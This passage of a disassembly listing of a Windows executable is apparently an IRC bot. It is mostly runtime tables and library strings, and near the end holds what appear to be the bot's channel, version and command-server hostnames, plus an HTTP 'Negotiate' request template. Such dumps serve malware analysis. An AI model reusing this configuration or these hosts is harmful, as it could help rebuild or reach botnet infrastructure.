[edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2600841h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E072Ah, 25F0000h, 25F0A84h dd 25F0AEDh, 25F0F39h, 2600000h, 2600841h, 2610000h, 2610688h dd 261084Fh, 2620000h, 26202CAh dword_42703C dd 26202F5h ; DATA XREF: ___:004231D9r dd 26203A1h, 262068Fh, 26206BEh, 26207ACh, 2630000h, 26311ADh dd 2640000h, 26403CDh, 264086Bh, 77E75CB5h dword_427068 dd 2640897h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2640BE8h, 2650000h, 2660000h dword_427078 dd 26604A7h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 266051Eh ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 26607A7h dword_427084 dd 26608C0h ; DATA XREF: sub_4196BC+B9r dd 2660DA2h dword_42708C dd 2660DCFh ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 2670000h ; DATA XREF: ___:loc_4013DCr dd 267034Ah, 2670457h dword_42709C dd 2670547h ; DATA XREF: sub_409B12+2r dd 267065Ch, 2670704h dword_4270A8 dd 2670D93h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 2670E53h ; DATA XREF: sub_410CD5:loc_410DC1r dd 2680000h, 2680AE1h dword_4270B8 dd 2680BAAh ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 2690000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26A0000h, 26B0000h, 26B05F7h, 26C0000h, 77F7E300h, 77F7E21Fh dd 26C06E3h, 26D0000h, 26E0000h, 26E0857h dword_4270E8 dd 26F0000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 26F0930h ; DATA XREF: sub_418293+36r dd 26F0CA4h, 2700000h dword_4270F8 dd 27005B0h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2710000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 271157Dh, 2720000h, 2720B20h, 2730000h, 273086Bh, 2740000h dd 27403E3h, 2750000h, 2750AE6h, 2750D2Ah, 2760000h, 2760190h dd 2760981h, 2770000h, 27704B3h dword_42713C dd 27707A4h ; DATA XREF: sub_416F1A+BCr dd 2780000h dword_427144 dd 2790000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 2790B6Ah ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 2790BCFh dword_427150 dd 27A0000h ; DATA XREF: sub_417275+56r dd 27A020Dh, 27B0000h, 27B1002h, 27B1640h, 27C0000h, 27C03EBh dd 27C05CCh, 27D0000h, 27D0788h, 27E0000h dword_42717C dd 27F0000h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2800000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 2810000h, 2810449h, 281096Ch, 2810C37h, 2820000h, 2830000h dd 2840000h, 2850000h, 2860000h, 2870000h, 2871BB1h, 2871BD4h dd 2880000h, 2880B24h, 2890000h dword_4271C0 dd 2890636h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 2890780h ; DATA XREF: sub_41E976:loc_41E9A7r dd 289093Bh, 28A0000h, 28A0679h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C ; --------------------------------------------------------------------------- fcmovnb st, st(3) rol dword ptr [esi-25h], cl retn ; --------------------------------------------------------------------------- rol dword ptr [esi-25h], cl retn ; --------------------------------------------------------------------------- rol dword ptr [esi-25h], cl retn ; --------------------------------------------------------------------------- rol dword ptr [esi-25h], cl retn ; --------------------------------------------------------------------------- dw 46D3h dd 5 dup(7FF3A74Dh), 5 dup(2AC15959h), 7Ah dup(0) dd 2AC15959h, 0 dd 46D3C3DBh, 15h dup(0) dd 7FF3A74Dh, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 